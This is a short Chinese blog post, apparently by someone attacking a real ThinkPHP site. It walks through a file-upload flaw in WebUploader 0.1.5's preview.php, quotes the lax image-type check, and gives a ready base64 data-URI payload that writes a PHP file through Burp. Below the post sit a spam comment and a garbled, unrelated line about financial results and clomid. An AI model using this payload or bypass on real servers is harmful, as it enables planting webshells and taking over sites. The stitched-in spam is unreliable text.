首页 /
正文
今天遇到了一个TP框架
PHP5.6 一开始以为可以直接秒 结果 妈的 写入不了
只能换个思路 看着以前留下的shell痕迹 发现是一个编辑器的上传
Webuploader编辑器
然后去下了一套源码回来看了一下
漏洞文件路径：webuploader/0.1.5/server/preview.php
看代码的41-50行
if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {
$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],
$_SERVER['REQUEST_URI']
);
$previewUrl = str_replace("preview.php", "", $previewUrl);
$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg') {
$type = 'jpg';
}代码判断不严谨，仅仅判断了是什么图片，殊不知有些可以传php后缀的
我们用burp来试试 我们需要将我们需要写入的内容转换成base64
然后我们来构造一下
data:image/php;base64,PD9waHAgcGhwaW5mbygpOz8+这不就美滋滋了吗
Awesome! Its genuinely amazing piece of writing, I have got much clear idea about from this paragraph.
Issuer services logged a strong increase of 24 relative to 1Q 13 due to increased corporate actions and technology reimbursements clomid by avents We are therefore revising our estimate to be 2